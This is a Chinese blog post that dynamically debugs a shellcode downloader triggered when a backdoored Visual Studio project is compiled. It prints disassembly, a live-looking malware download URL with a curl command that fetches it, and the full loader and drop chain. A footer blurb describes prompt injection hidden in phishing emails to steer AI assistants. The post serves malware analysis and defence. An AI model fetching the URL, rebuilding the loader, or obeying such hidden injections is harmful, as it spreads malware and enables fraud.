惊心!歹毒!遭遇【VS编译时触发后门】保卫战(三)---调试shellcode.bin"

admin 2026-10-16 14:09:16 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

惊心!歹毒!遭遇【VS编译时触发后门】保卫战(三)---调试shellcode.bin

原创

MicroPest
MicroPest

MicroPest

2026年10月8日 17:10
安徽

在小说阅读器读本章

去阅读

在公众号小说中沉浸阅读

这里我来分析shellcode.bin这个文件,它是在vs2022编译时启动的shellcode,主要起下载器作用,在静态分析时没有找到它的Url下载木马载荷地址。我们这篇来动态调试。

1、用IDA9来动态调试。如何用IDA9调试shellcode,这个大家都会,这里就不作介绍了。

2、要在shellcode外面加个“壳”,调试要从壳外走到壳内的shellcode位置,如下图:

上图这个就是在当前IDA中shellcode的基址位置。

2、继续,

上图这里要用CreateThread启动线程了,线程地址为: 0x24B9BE60000

上图就是线程开始,就一条跳转指令:jmp 253A,

3、我们继续,来到Download处,如下图:

0x287a  LEA R13,[R15+0x20]0x287e  MOV RCX,[R13]        ; RCX = 字符串#10x28aa  MOV RCX,[R13]        ; 下载函数 arg1 = URL0x28c4  CALL 0x3e5           ; download(URL=字符串#1, ...)

上图显示,RCX=DA80

https://rlim.com/seraswodinsx

上图中[DA80]处指向的就是 Url 位置,这个就是URL下载地址了。

4、我们继续,看是否出现连接互联网的函数。

上图中 rbx=DA80=Url,同时出现浏览器UA标识“Mozilla/5.0 (Windows NT 10.0; Win64; x6...”

0x3f6   MOV RBX,RCX          ; RBX = URL0x496   MOV RDX,RBX          ; RDX = lpszUrl(InternetOpenUrlA 第 2 参数)0x4b2   CALL [R15+0xd0]      ; InternetOpenUrlA(hInternet, lpszUrl=RBX, ...)

上图中,注意:CALL [R15+0xd0],如上图,R15+0xd0=DC60,[DC60]=wininet\_InternetOpenUrlA,说明在这里调用了这个打开url的函数。

5、另:我们来访问这个域名看看,如下图curl -L -o output.html -v https://rlim.com/seraswodinsx,火绒报警:

6、接着上面的动作wininet\_InternetOpenUrlA后继续,

检查 InternetOpenUrlA 返回值(0x4b9)

0x4b9  TEST RAX,RAX0x4bc  JNE  .+66        ; 非 0(成功)→ 跳到 0x5000x4be  CMP  [RSP+0x48],00x4c3  JNE  .+209       ; 已重试过 → 跳到 0x594 收尾
  • 成功

:RAX != 0 → 进入读取循环(0x500)。
* 失败

:

  • 0x4c9 CALL [R15+0x100]

→ GetLastError()
+ 0x4d0–0x4e3

判断错误码是否为 0x2ee7 / 0x2efd / 0x2eff(三个特定网络错误,分别对应 ERROR_INTERNET_* 类)
+ 是

:0x4ea MOV [RSP+0x48],1(置\"已重试\"标志)→ 0x4f2 MOV ECX,0xc8 → 0x4f7 CALL [R15+0xf8] → Sleep(200ms) → 0x4fe JMP .-109 回到 0x49f 重新调用 InternetOpenUrlA 重试
+ 否

:0x4e5 JMP .+176 → 跳到 0x594 收尾

注意:这条重试路径是只重试一次([RSP+0x48] 置 1 后,下次失败直接走收尾)。

读取响应体循环(0x500 起)

0x500  MOV R13,RAX                 ; R13 = hUrl 句柄0x503  MOV [RSP+0x38],0            ; dwNumberOfBytesAvailable = 00x50b  MOV [RSP+0x3c],4            ; 查询项 = 4 (INTERNET_OPTION_...)0x513  MOV [RSP+0x40],0            ; 输出值

。。。。

这就是读取循环主体:查询可用量 → 过滤区间 → InternetReadFile → 前进指针/累加 → 循环,直到无空间或读到 0。

收尾清理(0x594–0x5c9)

0x595  JMP .+3                     ; 读失败路径落到 0x5970x597  XOR R14,R14                 ; 读失败 → 总读入量置 0(表示下载失败)0x59a  TEST R13,R130x59d  JE   .+100x59f  MOV RCX,R130x5a2  CALL [R15+0xe0]             ; InternetCloseHandle(hUrl)0x5a9  TEST R12,R120x5ac  JE   .+100x5ae  MOV RCX,R120x5b1  CALL [R15+0xe0]             ; InternetCloseHandle(hInternet)  ← 关闭 InternetOpen 的会话句柄0x5b8  MOV RAX,R14                 ; ★ 返回值 = 累计读入字节数0x5bb  LEA RSP,[RBP-0x30]0x5bf  POP R14 / 0x5c1 POP R13 / 0x5c3 POP R12 / 0x5c5 POP RDI / 0x5c6 POP RSI / 0x5c7 POP RBX / 0x5c8 POP RBP0x5c9  RET

函数返回 RAX = R14 = 本次下载累计读到的总字节数(失败时为 0)。

返回主控后的动作(回到 0x28c9)

下载函数返回后,主控继续:

0x28c9  MOV R12,RAX                ; 保存返回值(总字节数)0x28cc  CMP [R15+0x58],0           ; 检查状态字段0x28d1  JNE .+190x28d3  ...                        ; 日志/错误处理(空串占位)0x28fd  CMP [R15+0x58],0x40000     ; ★ 是否读满 0x40000 (256KB)?0x2905  JNE .+190x2907  ...                        ; 未读满 → 日志0x291a  MOV RAX,R120x291d  TEST RAX,RAX0x2920  JNE .+89                   ; 非 0 → 成功,进入落地流程                                   ; 否则进入重试:Sleep(20s) 后重下(0x296c)

即:读满 256KB(或非零)视为下载成功,继续走「写文件 → 7z 解压 → 执行 SearchFilter.exe」;否则 Sleep(20000ms) 后重试下载。

7、行为链(下载侧)已闭环:

伪装 Chrome UA → InternetOpenA → InternetOpenUrlA(\"https://rlim.com/seraswodinsx\", flags=0x84000000)  → InternetReadFile 循环读满 → 落地 %LOCALAPPDATA%\\Microsoft\\Feeds\\SearchFilter.7z  → C:\\ProgramData\\sevenZip\\7z.exe 解压 → 执行 SearchFilter.exe

8、完整行为链(编译时释放后):

MSBuild 触发 cYhrfP5mH9 → 内联 C# 任务 cG5nbiSNoL  Base64 → 三轮 XOR(32字节密钥) → GZip 解压 → 12998 字节 x64 shellcode  VirtualAlloc → Marshal.Copy → VirtualProtect(RX) → CreateThreadshellcode 运行:  伪装 Chrome UA → InternetOpenUrlA(\"https://rlim.com/seraswodinsx\")  → 下载 SearchFilter.7z → 落地 %LOCALAPPDATA%\\Microsoft\\Feeds\\  → C:\\ProgramData\\sevenZip\\7z.exe 解压 → 执行 SearchFilter.exe

至此,我们动态分析完成了shellcode.bin这个文件,调试出了下载地址。


十年铁律被打破:vphone-cli实现纯虚拟化FairPlay密钥提取,iOS逆向不再需要真机" 网络安全文章

十年铁律被打破:vphone-cli实现纯虚拟化FairPlay密钥提取,iOS逆向不再需要真机"

vphone-cli开源工具实现纯虚拟化FairPlay密钥提取,打破iOS逆向需越狱真机的十年铁律。其基于AppleSiliconMac的Virtualization.framework引导未修改iOS固件,完整复刻物理机启动流程,提取密钥后通过HTTPAPI回传完成IPA解密。该方案无需实体设备,显著降低逆向门槛,为iOS安全研究提供新路径。
攻击者在钓鱼邮件中隐藏AI提示注入" 网络安全文章

攻击者在钓鱼邮件中隐藏AI提示注入"

攻击者在钓鱼邮件中隐藏AI提示注入指令,同时针对用户和AI助手,利用HTML注释、CSS不可见文本、Base64编码及零宽度字符等技术隐藏恶意代码,诱导AI将邮件标记为紧急或篡改付款详情。建议在内容进入AI系统前去除隐藏元素,检测绕过指令的代码,验证输出,并对付款或供应商变更进行人工审批,同时持续监控重复攻击尝试。
KCon 2026「弈智」议题征集倒计时" 网络安全文章

KCon 2026「弈智」议题征集倒计时"

KCon2026黑客大会以弈智为主题,聚焦AI安全领域,围绕AI的安全风险与安全的AI应用两条主线征集议题。投稿截止在即,需提交议题名称、内容描述、演讲者信息及PPT等材料,入选者将获讲师证书及免费参会资格。
评论:0   参与:  0